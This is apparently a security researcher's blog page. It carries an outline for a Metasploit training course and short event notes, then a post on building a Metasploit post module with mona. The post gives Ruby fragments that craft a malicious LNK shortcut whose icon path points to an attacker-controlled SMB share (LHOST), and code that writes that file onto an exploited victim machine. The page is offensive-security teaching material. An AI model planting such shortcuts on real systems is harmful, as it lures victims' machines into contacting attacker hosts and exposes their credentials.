DerbyCon Training (Sep 27-28 2012)

@egypt and I have teamed up this year to teach at DerbyCon at the end of September. Here is the very basic outline of the class and subject to change:

(Sign up here: https://www.derbycon.com/training-courses/ )

THURSDAY

Intro to the Framework 

 - The history of the Framework

 - Ninja Demo

Usage

 - Recon

 - Exploitation

 - Pillaging

 - Post modules

Intro to Ruby

 - Getting your environment set up

 - Ruby Basics Strings, Arrays, and Methods oh my

 - IRB, Pry - The No-Spoon Portion

Navigating Documentation

Module Writing

 - Auxiliary Modules

 - Exploit Modules

 - Post Modules

 - Railgun (Windows and ?Linux?)

Meterpreter(s)

The Dread Pirate Reporting

LAB, LABs and more LABS

FRIDAY

CTF + open LAB time

definitely open to requests for content, if you, as a student, would like a particular topic included.

phDays in Moscow

A friend of mine is presenting at phDays in Moscow at the end of May. If you are in the area, or can be, I would highly recommend you attend, and in particularly his talk.

His blog is here: http://blog.gentilkiwi.com/

And since a picture is worth a thousand words:

You should really go check out what he is going to present... just sayin'

How to Win CCDC - Slides

Since this is a constantly updating slide deck I figured I'd post it here so I didn't have to keep emailing it out. ;-) If you have comments or if something is wrong grammatically, technically or in any other way I'd love input. Suggestions also welcome.

Here is a link straight to the doc if you want to comment or add it to your google docs list: https://docs.google.com/presentation/d/1pPXLg3KqwSMLRCNRfows5QnVI2mLjSmll5vN2WHMFJg/edit

Who is on your dream team red team?

This was an honest idea to help identify people that might not get the media attention of other "Top X in Infosec" lists. But I should have known better than to put a poll on the internet...

Developing the LNK Metasploit post module with Mona

I have been using the LNK trick I talked about in my last post for a while, but always needing a Windows machine to create the LNK file. When I decided to write a post about it, I wanted to put the stipulation for myself that I would finally develop a way to get it done with out having to lug around a VM or spin one up every time I needed to change it's target.

Of course the first place I looked was Meterpreter's Railgun (direct windows API calling within meterpreter). But to do it with Railgun I would have to develop a way to work with COM objects. Something that I don’t believe is built into Railgun (yet… /me nudges chao-mu). The second place I looked was to see if I could just build an LNK file from scratch using the spec.. ya…. that didn’t go so..*zzzZZZzzzzzzzZzzz

Enter ‘mona’, the Corelan Team’s exploit development plugin for Immunity Debugger. Now, usually it is used exactly as intended, as an exploit development tool, and I guess you could consider my use of it as an extension of that as well. But, anyways, one of Mona’s many and probably one of the least well known functions is ‘header’. What this function does is simply output a ruby version of the file broken into ASCII and binary parts. That’ll make much more sense in a sec, back to the problem. I need to recreate a file in a way I can manipulate it on the fly with enough agility to be useful to others in a post module without using the spec or Railgun to assist.

We start off with the maliciously altered LNK file, and an up to date version of Immunity and mona:

I copied the shortcut file to the C drive so I didn’t have to specify a huge path in the mona command, and issued:

“!mona header C:\autoexec.lnk”

As you can see, mona breaks up the binary into ‘understandable’ portions, so if it sees a string is keeps it together, if it sees unicode, it actually uses the Rex ruby libraries. You can try it yourself and scroll through the results but when I saw:

header << Rex::Text.to_unicode("C:\\%\\\\192.168.100.100\\w00t\\bogusimage.png`")

I knew I was golden. Quick note: pay close attention when you edit the output of this command in a text editor, initially I didn’t notice the ‘tick’ ( ` ) at the end of the share string and it cause me a lot of grief.

Cool, so I have a bit of ruby that puts the contents of my LNK file into a ruby variable. Now what?

Now I have 3 challenges:

1. It needs to have a user defined target IP at the very least and anything else I work into a variable option for the user.
2. It needs to upload the file to the exploited system.
3. It needs to be up to code on the Metasploit coding standards

Changing the line I found for the share name into this:

lnk << Rex::Text.to_unicode("\\\\#{datastore['LHOST']}\\#{datastore['SHARENAME']}\\#{datastore['ICONFILENAME']}`")

‘datastore’ is used as the container for variable set by default or by the user using the module. Adding those option for the user is pretty easy. You just add the following to the ‘register_options’ section of your module:

• OptAddressRange.new("LHOST", [ true, "Host listening for incoming SMB/WebDAV traffic", nil]),
• OptString.new("SHARENAME", [ true, "Share name on LHOST", "share1"]),
  OptString.new("ICONFILENAME", [ true, "File name on LHOST's share", "icon.png"])

OptAddressRange is used instead of a string because it has a bit of validation that you are actually using something that either resembles an IP address or a hostname.

Problem 1 solved. Problem 2 was just as easy, the following line:

file = client.fs.file.new(datastore['LNKFILENAME'], 'wb')

creates a new file on the victim, and ‘file.write(lnk)’ writes the binary contents of the ‘lnk’ variable into it.

Problem 3 is much more tricky, but here is the path to wisdom:

ruby /metasploit-directory/tools/msftidy.rb /path/to/my/module/evil.rb

Hope this helps spur people into trying their hand at developing some modules of their own.